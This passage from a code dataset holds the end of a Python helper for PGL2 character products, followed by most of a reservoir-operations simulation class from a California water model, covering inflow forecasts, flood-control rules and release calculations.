self.get_summands_string(character_products)\n return '+'.join(summands_string)\n\n @staticmethod\n def get_summands_string(character_products):\n summands_string = [PGL2CharacterProductsCalculator.get_summand_string(character_products[x], x)\n for x in character_products if character_products[x] != 0]\n return summands_string\n\n @staticmethod\n def get_summand_string(quantity, representation):\n representation_string = str(representation)\n representation_string = representation_string.replace('χ_', '')\n representation_string = representation_string.replace('std*sgn', '^std')\n if quantity == 1:\n return '%s' % representation_string\n else:\n return \"%s%s\" % (quantity, representation_string)\n","repo_name":"zivg2/ThesisSimulations","sub_path":"representations/pgl2/pgl2_character_products_calculator.py","file_name":"pgl2_character_products_calculator.py","file_ext":"py","file_size_in_byte":2431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"22817317834","text":"from __future__ import division\nimport numpy as np \nimport calendar\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport json\nfrom .util import *\n\n\nclass Reservoir():\n\n def __init__(self, df, df_short, name, key, model_mode):\n self.T = len(df)\n self.index = df.index\n self.day_year = self.index.dayofyear\n self.day_month = self.index.day\n self.year = self.index.year\n self.starting_year = int(self.year[0])\n self.ending_year = int(self.year[self.T-1])\n self.number_years = self.ending_year - self.starting_year\n self.month = self.index.month\n self.dowy = water_day(self.day_year, self.year)\n self.water_year = water_year(self.month, self.year, self.starting_year)\n\n self.leap = leap(np.arange(min(self.year), max(self.year)+2))\n year_list = np.arange(min(self.year), max(self.year)+2)\n self.days_in_month = days_in_month(year_list, self.leap)\n self.dowy_eom = dowy_eom(year_list, self.leap)\n self.non_leap_year = first_non_leap_year(self.dowy_eom)\n self.leap_year = first_leap_year(self.dowy_eom)\n self.first_d_of_month = first_d_of_month(self.dowy_eom, self.days_in_month)\n\n self.T_short = len(df_short)\n self.short_day_year = df_short.index.dayofyear\n self.short_day_month = df_short.index.day\n self.short_month = df_short.index.month\n self.short_year = df_short.index.year\n self.short_starting_year = self.short_year[0]\n self.short_ending_year = int(self.short_year[self.T_short-1])\n self.short_dowy = water_day(self.short_day_year, self.short_year)\n self.short_water_year = water_year(self.short_month, self.short_year, self.short_starting_year)\n\t\n self.short_leap = leap(np.arange(min(self.short_year), max(self.short_year)+2))\n short_year_list = np.arange(min(self.short_year), max(self.short_year)+2)\n self.short_days_in_month = days_in_month(short_year_list, self.short_leap)\n\n\n self.days_through_month = [60, 91, 122, 150, 181]\n self.hist_wyt = ['W', 'W', 'W', 'AN', 'D', 'D', 'AN', 'BN', 'AN', 'W', 'D', 'C', 'D', 'BN', 'W', 'BN', 'D', 'C', 'C', 'AN']\n\n self.key = key\n self.name = name\n self.forecastWYT = \"AN\"\n\n\t##Reservoir Parameters\n self.S = np.zeros(self.T)\n self.R = np.zeros(self.T)\n self.tocs = np.zeros(self.T)\n self.available_storage = np.zeros(self.T)\n self.flood_storage = np.zeros(self.T)\n self.Rtarget = np.zeros(self.T)\n self.R_to_delta = np.zeros(self.T)\n if self.key == \"SLS\":\n #San Luis - State portion\n #San Luis Reservoir is off-line so it doesn't need the full reservoir class parameter set contained in the KEY_properties.json files\n #self.Q = df['HRO_pump'] * cfs_tafd\n self.dead_pool = 40\n self.S[0] = 740.4\n elif self.key == \"SLF\":\n #San Luis - Federal portion\n #self.Q = df['TRP_pump'] * cfs_tafd\n self.dead_pool = 40\n self.S[0] = 174.4\n elif self.key != \"SNL\":\n #for remaining reservoirs, load parameters from KEY_properties.json file (see reservoir\\readme.txt\n for k,v in json.load(open('cord/reservoir/%s_properties.json' % key)).items():\n setattr(self,k,v)\n #load timeseries inputs from cord-data.csv input file\n self.Q = df['%s_inf'% key].values * cfs_tafd\n self.E = df['%s_evap'% key].values * cfs_tafd\n ####Note - Shasta FCI values are not right - the original calculation units are in AF, but it should be in CFS\n\t ####so the actual values are high. Just recalculate here instead of changing input files\n if self.key == \"SHA\":\n self.fci = np.zeros(self.T)\n self.fci[0] = 100000\n for x in range(1, self.T):\n dowy = self.dowy[x]\n if dowy > 260:\n self.fci[x] = 0\n elif dowy == 0:\n self.fci[x] = 100000\n else:\n self.fci[x] = self.fci[x-1]*0.95 + self.Q[x]*tafd_cfs\n else:\n self.fci = df['%s_fci' % key].values\n self.SNPK = df['%s_snow' % key].values\n self.precip = df['%s_precip'% key].values * cfs_tafd\n self.downstream = df['%s_gains'% key].values * cfs_tafd\n self.fnf = df['%s_fnf'% key].values / 1000000.0\n self.R[0] = 0\n use_capacity = False\n storage_start_date = df.index[0]\n if storage_start_date in df_short.index: #keyvan\n storage_start_index = df_short.index.get_loc(storage_start_date)\n else:\n use_capacity = True\n if use_capacity:\n self.S[0] = self.capacity\n self.EOS_target = (self.capacity - 1000.0)/2 + 1000.0\n self.lastYearEOS_target = (self.capacity - 1000.0)/2 + 1000.0\n else:\n self.S[0] = df_short['%s_storage' % key].iloc[storage_start_index] / 1000.0\n self.EOS_target = df_short['%s_storage' % key].iloc[storage_start_index] / 1000.0\n self.lastYearEOS_target = df_short['%s_storage' % key].iloc[storage_start_index] / 1000.0\n\t \n #Environmental release requirements\n #environmental rules are dependent on the water year type\t\n if self.key == \"YRS\":\n self.wytlist = ['W', 'AN', 'BN', 'D', 'C', 'EC']\n else:\n self.wytlist = ['W', 'AN', 'BN', 'D', 'C']\n #dictionnaries containing expected remaining environmental releases from reservoir (as a function of day-of-the-wateryear)\n self.cum_min_release = {}\n self.oct_nov_min_release = {}\n self.aug_sept_min_release = {}\n for wyt in self.wytlist:\n self.cum_min_release[wyt] = np.zeros(366)\n self.oct_nov_min_release[wyt] = np.zeros(366)\n self.aug_sept_min_release[wyt] = np.zeros(366)\n self.exceedence_level = 9\n \n\t##Reservoir \"decisions\"\n self.din = 0.0\n self.dout = 0.0\n self.envmin = 0.0\t\n self.sodd = 0.0\n self.basinuse = 0.0\n self.consumed_releases = 0.0\n \n self.sjrr_release = 0.0\n self.eos_day = 0\n\t##Vectors for flow projections\n self.rainfnf_stds = np.zeros(365)\n self.snowfnf_stds = np.zeros(365)\n self.raininf_stds = np.zeros(365)\n self.snowinf_stds = np.zeros(365)\n self.baseinf_stds = np.zeros(365)\n self.rainflood_fnf = np.zeros(self.T)\n self.snowflood_fnf = np.zeros(self.T)\n self.short_rainflood_fnf = np.zeros(self.T_short)\n self.short_snowflood_fnf = np.zeros(self.T_short)\n\n self.rainflood_inf = np.zeros(self.T)##linear projections (i.e. 50% exceedence)\n self.snowflood_inf = np.zeros(self.T)##linear projections (i.e. 50% exceedence)\n self.baseline_inf = np.zeros(self.T)\n self.rainflood_forecast = np.zeros(self.T)##projections w/ confindence (i.e. 90% exceedence - changes throughout year)\n self.snowflood_forecast = np.zeros(self.T)##projections w/ confindence (i.e. 90% exceedence - changes throughout year)\n self.baseline_forecast = np.zeros(self.T)##projections w/ confindence (i.e. 90% exceedence - changes throughout year)\n self.evap_forecast = 0.0\n self.max_direct_recharge = np.zeros(12)\n self.monthly_demand = {}\n self.monthly_demand_full = {}\n self.monthly_demand_must_fill = {}\n self.numdays_fillup = {}\n self.lastYearRainflood = 9999.9\n self.variable_min_flow = 0.0\n self.min_daily_overflow = 0.0\n\n\n def object_equals(self, other):\n ##This function compares two instances of an object, returns True if all attributes are identical.\n equality = {}\n if (self.__dict__.keys() != other.__dict__.keys()):\n return ('Different Attributes')\n else:\n differences = 0\n for i in self.__dict__.keys():\n if type(self.__getattribute__(i)) is dict:\n equality[i] = True\n for j in self.__getattribute__(i).keys():\n if (type(self.__getattribute__(i)[j] == other.__getattribute__(i)[j]) is bool):\n if ((self.__getattribute__(i)[j] == other.__getattribute__(i)[j]) == False):\n equality[i] = False\n differences += 1\n else:\n if ((self.__getattribute__(i)[j] == other.__getattribute__(i)[j]).all() == False):\n equality[i] = False\n differences += 1\n else:\n if (type(self.__getattribute__(i) == other.__getattribute__(i)) is bool):\n equality[i] = (self.__getattribute__(i) == other.__getattribute__(i))\n if equality[i] == False:\n differences += 1\n else:\n equality[i] = (self.__getattribute__(i) == other.__getattribute__(i)).all()\n if equality[i] == False:\n differences += 1\n return (differences == 0)\n\n\n def find_available_storage(self, t):\n ##this function uses the linear regression variables calculated in find_release_func (called before simulation loop) to figure out how\n ##much 'excess' storage is available to be released to the delta with the explicit intention of running the pumps. This function is calculated\n ##each timestep before the reservoirs' individual step function is called\n m = self.month[t]\n da = self.day_month[t]\n dowy = self.dowy[t]\n wyt = self.forecastWYT\n\n\t###Find the target end of year storage, and the expected minimum releases, at the beginning of each water year\n if m == 10 and da == 1:\n self.rainflood_flows = 0.0##total observed flows in Oct-Mar, through the current day\n self.snowflood_flows = 0.0##total observed flows in Apr-Jul, through the current day\n self.baseline_flows = 0.0\n\t \n\t ##Exceedence level for flow forecasts (i.e. 2 is ~90%, 9 is ~50%)\n\t ##If year starts in drought conditions, be conservative in Oct-Dec, otherwise, normal operations until January\n if self.key == \"FOL\" or self.key == \"YRS\":\n self.exceedence_level = 2\n else:\n if wyt == 'D' or wyt == 'C':\n self.exceedence_level = 2\n else:\n self.exceedence_level = 9\n\n ###Evap. projections are a perfect forecast (not much variation, didn't feel like making a seperate forecast for evap)\n self.evap_forecast = sum(self.E[(t):(t + 364)])\n self.eos_day = t\n if m == 8 and da == 1:\n self.lastYearEOS_target = self.EOS_target\n self.lastYearRainflood = self.rainflood_flows\n\n\t##Update the target EOS storage as the water year type forecasts change\n self.calc_EOS_storage(t,self.eos_day)###end-of-september target storage, based on the storage at the beginning of october\n ##Update the projected evaporation (its a perfect forecast)\n self.evap_forecast -= self.E[t]\n \n\t##Forecast exccedence levels set the percentile from which we forecast flows (i.e. 90% exceedence means 90% of years, with same snow conditions, would have higher flow)\n\t## excedence level 9 is 50% exceedence, level 1 is 90% exceedence. Be more conservative with forecasts in drier years\n if m < 8:\n if self.key == \"FOL\" or self.key == \"YRS\":\n self.exceedence_level = min(m+2,7)\n else:\n if wyt == 'D' or wyt == 'C':\n self.exceedence_level = min(m+2,7)\n else:\n self.exceedence_level = 9\n elif m == 8 or m == 9:\n self.exceedence_level = 9\n\t \n ##YTD observed flows (divided between rainflood and snowflood seasons) \n if dowy < self.days_through_month[self.melt_start]:\n self.rainflood_flows += self.Q[t]##add to the total flow observations \n elif dowy < 304:\n self.snowflood_flows += self.Q[t]##add to the total flow observations (\n else:\n self.baseline_flows += self.Q[t]\n\t###Rain- and snow-flood forecasts are predictions of future flows to come into the reservoir, for a given confidence interval (i.e. projections minus YTD observations)\n if dowy < self.days_through_month[self.melt_start]:\n ##Forecasts are adjusted for a given exceedence level (i.e. 90%, 50%, etc)\n #self.rainflood_forecast[t] = min(self.lastYearRainflood, self.rainflood_inf[t] + self.raininf_stds[dowy]*z_table_transform[self.exceedence_level]) - self.rainflood_flows\n self.rainflood_forecast[t] = min(self.lastYearRainflood, self.rainflood_inf[t] + self.raininf_stds[dowy]*z_table_transform[self.exceedence_level])\n\n self.snowflood_forecast[t] = (self.snowflood_inf[t] + self.snowinf_stds[dowy]*z_table_transform[self.exceedence_level])\n self.baseline_forecast[t] = self.baseline_inf[t] + self.baseinf_stds[dowy]*z_table_transform[self.exceedence_level]\n if self.rainflood_forecast[t] < 0.0:\n self.rainflood_forecast[t] = 0.0\n if self.snowflood_forecast[t] < 0.0:\n self.snowflood_forecast[t] = 0.0\n if self.baseline_forecast[t] < 0.0:\n self.baseline_forecast[t] = 0.0\n elif dowy < 304:\n self.rainflood_forecast[t] = 0.0##no oct-mar forecasts are made after march (already observed) \n #self.snowflood_forecast[t] = (self.snowflood_inf[t] + self.snowinf_stds[dowy]*z_table_transform[self.exceedence_level]) - self.snowflood_flows\n self.snowflood_forecast[t] = (self.snowflood_inf[t] + self.snowinf_stds[dowy]*z_table_transform[self.exceedence_level])\n\n self.baseline_forecast[t] = self.baseline_inf[t] + self.baseinf_stds[dowy]*z_table_transform[self.exceedence_level]\n if self.snowflood_forecast[t] < 0.0:\n self.snowflood_forecast[t] = 0.0\t\n if self.baseline_forecast[t] < 0.0:\n self.baseline_forecast[t] = 0.0\t \n else:\n self.rainflood_forecast[t] = 0.0\n self.snowflood_forecast[t] = 0.0\n #self.baseline_forecast[t] = self.baseline_inf[t] + self.baseinf_stds[dowy]*z_table_transform[self.exceedence_level] - self.baseline_flows\n self.baseline_forecast[t] = self.baseline_inf[t] + self.baseinf_stds[dowy]*z_table_transform[self.exceedence_level]\n\t\n #available storage is storage in reservoir in exceedence of end-of-september target plus forecast for oct-mar (adjusted for already observed flow)\n\t#plus forecast for apr-jul (adjusted for already observed flow) minus the flow expected to be released for environmental requirements (at the reservoir, not delta)\n self.available_storage[t] = self.S[t] - self.EOS_target + self.rainflood_forecast[t] + self.snowflood_forecast[t] + self.baseline_forecast[t] - self.cum_min_release[wyt][dowy] - self.evap_forecast - self.aug_sept_min_release[wyt][dowy]\n self.flood_storage[t] = self.S[t] - self.max_fcr + self.rainflood_forecast[t] - max(self.cum_min_release[wyt][dowy] - self.cum_min_release[wyt][181], 0.0)\n if dowy < 123:\n self.available_storage[t] = max(self.available_storage[t], (self.S[t] - self.lastYearEOS_target)*(123-dowy)/123 + self.available_storage[t]*dowy/123)\n if self.S[t] < self.EOS_target and dowy > 274:\n self.available_storage[t] = min(self.available_storage[t], 0.0)\n self.flood_storage[t] = min(self.flood_storage[t], 0.0)\n\t \n\t \n def use_saved_storage(self, t, m, wyt, dowy):\n swp_extra = 0.0\n if wyt == 'D' or wyt == 'C':\n if m >= 10 or m == 1:\n swp_extra = max(self.S[t] - self.carryover_target[wyt] - self.dry_year_carryover[wyt] - self.oct_nov_min_release[wyt][dowy], 0.0)\n #else:\n #swp_extra = max(min(self.available_storage[t], 0.0) + max(self.saved_water - self.dry_year_carryover[wyt], 0.0), 0.0)\n else:\n if m >= 10 or m == 1:\n swp_extra = max(self.S[t] - self.lastYearEOS_target - self.oct_nov_min_release[wyt][dowy], 0.0)\n\t\t\n return swp_extra\n\t \n def release_environmental(self,t,basinWYT):\n ###This function calculates how much water will be coming into the delta\n ###based on environmental requirements (and flood control releases).\n ###The additions to the delta contained in self.envmin represent the releases\n ###from the reservoir, minus any calls on water rights that would come from this\n ###reservoir. This number does not include downstream 'gains' to the delta,\n ###although when those gains can be used to meet demands which would otherwise 'call'\n ###in their water rights, those gains are considered consumed before the delta but\n\t###no release is required from the reservoir (the reason for this is how water is \n\t###accounted at the delta for dividing SWP/CVP pumping)\n d = self.day_year[t]\n m = self.month[t]\n dowy = self.dowy[t]\n wyt = self.forecastWYT\n year = self.year[t] - self.starting_year\n \t\n\t####ENVIRONMENTAL FLOWS\n\t##What releases are needed directly downstream of reservoir\n self.basinuse = np.interp(d, self.first_d_of_month[year], self.nodd)\n self.gains_to_delta += self.basinuse\n\t\n if self.nodd_meets_envmin:\n reservoir_target_release = max(max(self.env_min_flow[wyt][m-1]*cfs_tafd - self.basinuse,0.0), self.variable_min_flow)\n else:\n reservoir_target_release = max(self.env_min_flow[wyt][m-1]*cfs_tafd, self.variable_min_flow)\n\n\t###What releases are needed to meet flow requirements further downstream (at a point we can calculate 'gains')\n downstream_target_release = (self.temp_releases[basinWYT][m-1]*cfs_tafd - self.downstream[t])\n \n\t####FLOOD CONTROL\n\t##Top of storage pool\n self.tocs[t], self.max_fcr = self.current_tocs(dowy, self.fci[t])\n #What size release needs to be made\n W = self.S[t] + self.Q[t]\n self.fcr = max(0.2*(W-self.tocs[t]),0.0)\n\n\t###Based on the above requirements, what flow will make it to the delta?\n self.envmin = max(reservoir_target_release, downstream_target_release,self.sjrr_release, self.fcr)\n self.envmin = min(self.envmin, W - self.dead_pool)\n self.envmin -= self.consumed_releases\n\t \n def step(self, t):\n\t###What are the contract obligations north-of-delta (only for Northern Reservoirs)\n self.envmin += (self.basinuse + self.consumed_releases)\n\t##What is the constraining factor - flood, consumptive demands, or environment?\n self.Rtarget[t] = self.envmin + self.sodd + self.din + self.dout\n # then clip based on constraints\n W = self.S[t] + self.Q[t]\n self.R[t] = max(min(self.Rtarget[t], W - self.dead_pool), 0.0)\n self.R[t] = min(self.R[t], self.max_outflow * cfs_tafd)\n\t#save this value as 'forced spills' to add to delta inflow\n\t#in model.py\n self.force_spill = max(W - self.R[t] - self.capacity, 0.0)\n self.fcr += self.force_spill\n self.R[t] += self.force_spill # spill\n if t < (self.T - 1):\n self.S[t+1] = max(W - self.R[t] - self.E[t], 0) # mass balance update\n self.R_to_delta[t] = max(self.R[t] - self.basinuse - self.consumed_releases, 0) # delta calcs need this\n\t\n\t\n def find_flow_pumping(self, t, m, dowy, wyt, release):\n # projection_length = 15\n # first_of_month_shift = dowy - (1 + self.dowy_eom[m-1] - self.days_in_month[m-1])\n\t###This function allows us to predict, at a monthly step, how much\n ###flow might come into the reservoir, and the rate at which we will\n ###have to release it, starting right now, in order to avoid spilling water\n ###from flood control rules. This considers the variable inflow over time but\n ###also the variable flood control rules over time\n # if t < projection_length:\n # flow_range = range(0,projection_length)\n # else:\n # flow_range = range(t-projection_length, t)\n\n year = self.year[t] - self.starting_year\n current_storage = self.S[t]#starting storage\n running_storage = current_storage#storage after each (monthly) timestep\n\n self.min_daily_uncontrolled = 0.0#rate at which flow has to be released in order to avoid overtopping\n self.max_daily_uncontrolled = 999.99#rate which flow cannot be released pass in order to avoid missing EOS targets\n self.uncontrolled_available = 0.0#maximum volume 'above' flood control, w/o releases\n self.numdays_fillup[release] = 999.99#number of days until reservoir fills\n self.numdays_fillup['lookahead'] = 999.99\n numdays_fillup_next_year = 999.99\n total_applied = 0.0\n drawdown_toggle = 0\n numdays_fillup_cap = 999.99\n uncontrolled_cap = 0.0\n additional_drawdown_cap = 0.0\n self.min_daily_overflow = 0.0\n\n # this_month_flow = 0.0#period-to-date flow (for calculating monthly distribution)\n cross_counter_wy = 0\n cross_counter_y = 0\n excess_toggle = 0\n excess_toggle2 = 0\n for month_counter in range(0,6):\n month_evaluate = m - 1 + month_counter\n if month_evaluate > 11:\n month_evaluate -= 12\n if month_evaluate == 9 and month_counter > 0:\n #restart flow count for new period (Oct-Mar)\n # this_month_flow = 0\n cross_counter_wy = 1\n elif month_evaluate == 0 and month_counter > 0:\n cross_counter_y = 1\n # elif month_evaluate == 3:\n # #restart flow count for new period (Apr-July)\n # this_month_flow = 0\n # elif month_evaluate == 7:\n # #restart flow count for new perio (Aug-Sept)\n # this_month_flow = 0\n\n #Project flow for this month\n\t ##find an estimate for the remaining flow in the given period\n\t ### i.e. total period projection - observed period flow - running monthly flow count\n ##monthly flow projections based on regression run in create_flow_shapes\n start_of_month = self.dowy_eom[year+cross_counter_y][month_evaluate] - self.days_in_month[year+cross_counter_y][month_evaluate] + 1\n block_start = np.where(month_counter == 0, dowy, start_of_month)\n #current month end dowy\n block_end = self.dowy_eom[year+cross_counter_y][month_evaluate]\n\n if t < 30:\n running_fnf = np.sum(self.fnf[0:t])*30.0/(t+1)\n else:\n running_fnf = np.sum(self.fnf[(t-30):(t-1)])\n if self.key == \"MIL\" and dowy < 180:\n if month_evaluate > 2 and month_evaluate < 7:\n month_flow_int = (self.flow_shape_regression['slope'][dowy][month_evaluate]*self.SNPK[t] + self.flow_shape_regression['intercept'][dowy][month_evaluate])/(block_end - start_of_month + 1)\n else:\n month_flow_int = (self.flow_shape_regression['slope'][dowy][month_evaluate]*min(running_fnf,0.25) + self.flow_shape_regression['intercept'][dowy][month_evaluate])/(block_end - start_of_month + 1)\n else:\n if month_evaluate > 2 and month_evaluate < 7:\n #if dowy > 181 and dowy < 304:\n #month_flow_int = (self.flow_shape_regression['slope'][dowy][month_evaluate]*running_fnf + self.flow_shape_regression['intercept'][dowy][month_evaluate])/(block_end - start_of_month + 1)\n #else:\n month_flow_int = (self.flow_shape_regression['slope'][dowy][month_evaluate]*self.SNPK[t] + self.flow_shape_regression['intercept'][dowy][month_evaluate])/(block_end - start_of_month + 1)\n else:\n month_flow_int = (self.flow_shape_regression['slope'][dowy][month_evaluate]*running_fnf + self.flow_shape_regression['intercept'][dowy][month_evaluate])/(block_end - start_of_month + 1)\n\n #month_flow_int = (remaining_flow_proj*self.flow_shape['slope'][month_evaluate]+self.flow_shape['intercept'][month_evaluate])*remaining_flow_proj\n\t #running tally of total flow in the month\n # this_month_flow += month_flow_int\n #current month start dowy\n\t #what are the mandatory releases between now and the end of this month?\n if release == 'demand':\n if self.key == \"MIL\":\n if month_evaluate > 8 or month_evaluate < 2:\n total_mandatory_releases = (self.cum_min_release[wyt][block_start] - self.cum_min_release[wyt][block_end+1] + self.aug_sept_min_release[wyt][block_start] - self.aug_sept_min_release[wyt][block_end+1])/(block_end-block_start + 1)\n else:\n total_mandatory_releases = (self.monthly_demand[wyt][month_evaluate] + self.monthly_demand_must_fill[wyt][month_evaluate])/(block_end-start_of_month+1) + (self.cum_min_release[wyt][block_start] - self.cum_min_release[wyt][block_end+1] + self.aug_sept_min_release[wyt][block_start] - self.aug_sept_min_release[wyt][block_end+1])/(block_end-block_start + 1)\n else:\n total_mandatory_releases = (self.monthly_demand[wyt][month_evaluate] + self.monthly_demand_must_fill[wyt][month_evaluate])/(block_end-start_of_month+1) + (self.cum_min_release[wyt][block_start] - self.cum_min_release[wyt][block_end+1] + self.aug_sept_min_release[wyt][block_start] - self.aug_sept_min_release[wyt][block_end+1])/(block_end-block_start + 1)\n\t\t \n total_possible_releases = (self.monthly_demand_full[wyt][month_evaluate] + self.monthly_demand_must_fill[wyt][month_evaluate])/(block_end-start_of_month+1) + (self.cum_min_release[wyt][block_start] - self.cum_min_release[wyt][block_end+1] + self.aug_sept_min_release[wyt][block_start] - self.aug_sept_min_release[wyt][block_end+1])/(block_end-block_start + 1)\n additional_drawdown_cap += max(total_possible_releases - total_mandatory_releases, 0.0)*(block_end - block_start + 1)\n\n\n elif release == 'env':\n # Note: cum_min_release is indexed 0 (for cum total before year starts), 1 for min release left after subtracting first day, ..., to 366 after last day. So for each month, we want the end of this month minus end of last month, indexed +1\n total_mandatory_releases = (self.cum_min_release[wyt][block_start] - self.cum_min_release[wyt][block_end+1] + self.aug_sept_min_release[wyt][block_start] - self.aug_sept_min_release[wyt][block_end+1])/(block_end-block_start + 1)\n #expected change in reservoir storage\n #reservoir_change_rate = (month_flow_int - total_mandatory_releases)/self.days_in_month[year+cross_counter_y][month_evaluate]\n if month_counter == 0:\n month_flow_int = max(month_flow_int, np.mean(self.Q[(t-min(t,4)):t]))\n reservoir_change_rate = month_flow_int - total_mandatory_releases\n\t \n if reservoir_change_rate < 0.0:\n drawdown_toggle = 1\n numdays_fillup_cap = 999.9\n\n #flood control pool at start and end of the month\n storage_cap_start, max_cap_start = self.current_tocs(np.where(block_start > 0, block_start - 1, 0) ,self.fci[t])\n storage_cap_end, max_cap_end = self.current_tocs(block_end, self.fci[t])\n\t \n eom_storage = running_storage\n\n crossover_date = 0.0\n #expected storage at the end of the month\n eom_storage = running_storage + reservoir_change_rate*(block_end - block_start + 1)\n if eom_storage < self.dead_pool:\n break\n self.max_daily_uncontrolled = min(max((eom_storage - self.EOS_target)/(block_end + 1 + cross_counter_wy*365 - dowy), self.min_daily_uncontrolled), self.max_daily_uncontrolled)\n if eom_storage > storage_cap_end:\n #rate of release to avoid flood pool\n if storage_cap_start > running_storage:\n #this_month_min_release = (eom_storage - storage_cap_end ) / (block_end + 1 + cross_counter_wy*365 - dowy)\n if self.key == 'MIL' or self.key == 'KWH':\n this_month_min_release = max((eom_storage - storage_cap_end) / (block_end + 1 + cross_counter_wy*365 - dowy), 0.0)\n total_min_release = eom_storage - storage_cap_end\n else:\n this_month_min_release = max((eom_storage - self.capacity) / (block_end + 1 + cross_counter_wy*365 - dowy), 0.0)\n total_min_release = eom_storage - self.capacity\n\n #volume of water over the flood pool, no release\n differential_storage_change = reservoir_change_rate - (storage_cap_end - storage_cap_start)/(block_end - block_start + 1)\n crossover_date = (storage_cap_start - running_storage)/differential_storage_change\n else:\n crossover_date = 0.0\n if (block_start + cross_counter_wy*365 - dowy) > 0.0:\n if self.key == 'MIL' or self.key == 'KWH':\n this_month_min_release = max((running_storage - storage_cap_start)/(block_start + cross_counter_wy*365 - dowy), (eom_storage - storage_cap_end) / (block_end + 1 + cross_counter_wy*365 - dowy), 0.0)\n total_min_release = max(running_storage - storage_cap_start, eom_storage - storage_cap_end)\n else:\n this_month_min_release = max((running_storage - self.capacity)/(block_start + cross_counter_wy*365 - dowy), (eom_storage - self.capacity) / (block_end + 1 + cross_counter_wy*365 - dowy), 0.0)\n total_min_release = max(running_storage - self.capacity, eom_storage - self.capacity)\n\n else:\n if self.key == 'MIL' or self.key == 'KWH':\n this_month_min_release = max(running_storage - storage_cap_start, (eom_storage - storage_cap_end) / (block_end + 1 + cross_counter_wy*365 - dowy), 0.0)\n total_min_release = max(running_storage - storage_cap_start, eom_storage - storage_cap_end)\n\n else:\n this_month_min_release = max(running_storage - self.capacity, (eom_storage - self.capacity) / (block_end + 1 + cross_counter_wy*365 - dowy), 0.0)\n total_min_release = max(running_storage - self.capacity, eom_storage - self.capacity)\n\n \n numdays_fillup = block_start + crossover_date + cross_counter_wy*365 - dowy\n if cross_counter_wy == 1:\n numdays_fillup_next_year = block_start + crossover_date + cross_counter_wy*365 - dowy\n\t\t \n #total volume & rate are the maximum monthly value over the next 12 months\n self.min_daily_uncontrolled = max(min(this_month_min_release, self.max_daily_uncontrolled), self.min_daily_uncontrolled)\n if release == 'demand':\n if (min(reservoir_change_rate, self.min_daily_uncontrolled) + (self.monthly_demand[wyt][month_evaluate] + self.monthly_demand_must_fill[wyt][month_evaluate])/(block_end-start_of_month+1)) > (self.total_capacity*cfs_tafd+.1):\n if excess_toggle == 0:\n excess_toggle = 1\n fillup_fraction = 31.0/(block_start - dowy + 1 + cross_counter_wy*365)\n self.min_daily_uncontrolled += max(min(reservoir_change_rate, self.min_daily_uncontrolled) + (self.monthly_demand[wyt][month_evaluate] + self.monthly_demand_must_fill[wyt][month_evaluate])/(block_end-start_of_month+1) - self.total_capacity*cfs_tafd,0.0)*fillup_fraction\n\t\t\t\n self.numdays_fillup[release] = min(numdays_fillup, self.numdays_fillup[release])\n self.numdays_fillup['lookahead'] = min(numdays_fillup_next_year, self.numdays_fillup['lookahead'])\n self.uncontrolled_available = max(total_min_release, self.uncontrolled_available)\n if release == 'demand':\n if self.uncontrolled_available > additional_drawdown_cap:\n self.min_daily_overflow = max((self.uncontrolled_available - additional_drawdown_cap)/(block_end + 1 + cross_counter_wy*365 - dowy), self.min_daily_overflow)\n if (min(reservoir_change_rate, self.min_daily_overflow) + (self.monthly_demand_full[wyt][month_evaluate] + self.monthly_demand_must_fill[wyt][month_evaluate])/(block_end-start_of_month+1)) > (self.total_capacity*cfs_tafd+.1) and self.uncontrolled_available > additional_drawdown_cap:\n if excess_toggle2 == 0:\n excess_toggle2 = 1\n fillup_fraction2 = 31.0/(block_start - dowy + 1 + cross_counter_wy*365)\n self.min_daily_overflow += max(min(reservoir_change_rate, self.min_daily_overflow) + (self.monthly_demand_full[wyt][month_evaluate] + self.monthly_demand_must_fill[wyt][month_evaluate])/(block_end-start_of_month+1) - self.total_capacity*cfs_tafd, 0.0)*fillup_fraction2\n \n\n #if release == 'demand' and self.key == 'MIL':\n \t \n #if eom_storage > self.capacity:\n #crossover_date = max((self.capacity - running_storage)/reservoir_change_rate, 0.0)\n #numdays_fillup_cap = min(block_start + crossover_date + cross_counter_wy*365 - dowy, numdays_fillup_cap)\n #uncontrolled_cap = max(uncontrolled_cap, eom_storage - self.capacity)\n #if numdays_fillup_cap > 0.0:\n #self.min_daily_uncontrolled = max(self.min_daily_uncontrolled, uncontrolled_cap/numdays_fillup_cap)\n #else:\n #self.min_daily_uncontrolled = max(self.min_daily_uncontrolled, uncontrolled_cap)\n\t\t \t\t \n\n if (self.key == 'xxx' or self.key == 'xxx' or self.key == 'xxx' or self.key == 'xxx' or self.key == 'xxx'):\n #print(self.key, end = \" \")\n #print(t, end = \" \")\n #print(dowy, end = \" \")\n #print(m, end = \" \")\n #print(month_evaluate, end = \" \")\n #print(running_storage, end = \" \")\n #print(eom_storage, end = \" \")\n #print(month_flow_int, end = \" \")\n #print(total_mandatory_releases, end = \" \")\n #print(storage_cap_start, end = \" \")\n #print(storage_cap_end, end = \" \")\n #print(self.min_daily_uncontrolled, end = \" \")\n #print(self.uncontrolled_available, end = \" \")\n #print(additional_drawdown_cap, end = \" \")\n #print(self.min_daily_overflow, end = \" \")\n #print(self.numdays_fillup[release], end = \" \")\n #print(self.numdays_fillup['lookahead'], end = \" \")\n #print(block_end, end = \" \")\n print(block_start)\n # self.min_daily_uncontrolled,self.uncontrolled_available,eom_storage,storage_cap_end)\n running_storage = eom_storage\n\n\n\n\n\n def current_tocs(self,dowy,ix):\n ##Interpolates rules from tocs_rule in *_properties.json file to get the top of the conservation\n ##pool in order to determine flood control releases in reservoir.step\n for i,v in enumerate(self.tocs_rule['index']):\n if ix > v:\n break\n storage_bounds = np.zeros(2)\n index_bounds = np.zeros(2)\n day_bounds = np.ones(2)*self.capacity\n for x, y in enumerate(self.tocs_rule['dowy'][i-1]):\n if dowy < y:\n day_bounds[1] = min(day_bounds[1], self.tocs_rule['storage'][i-1][x])\n for x, y in enumerate(self.tocs_rule['dowy'][i]):\n if dowy < y:\n day_bounds[0] = min(day_bounds[0], self.tocs_rule['storage'][i][x])\n\t\t\n storage_bounds[1] = np.interp(dowy, self.tocs_rule['dowy'][i-1], self.tocs_rule['storage'][i-1])\n storage_bounds[0] = np.interp(dowy, self.tocs_rule['dowy'][i], self.tocs_rule['storage'][i])\n index_bounds[1] = self.tocs_rule['index'][i-1]\n index_bounds[0] = self.tocs_rule['index'][i]\n return np.interp(ix, index_bounds, storage_bounds), np.interp(ix, index_bounds, day_bounds)\n\n def rights_call(self,downstream_flow, reset = 0):\n if reset == 0:\n if 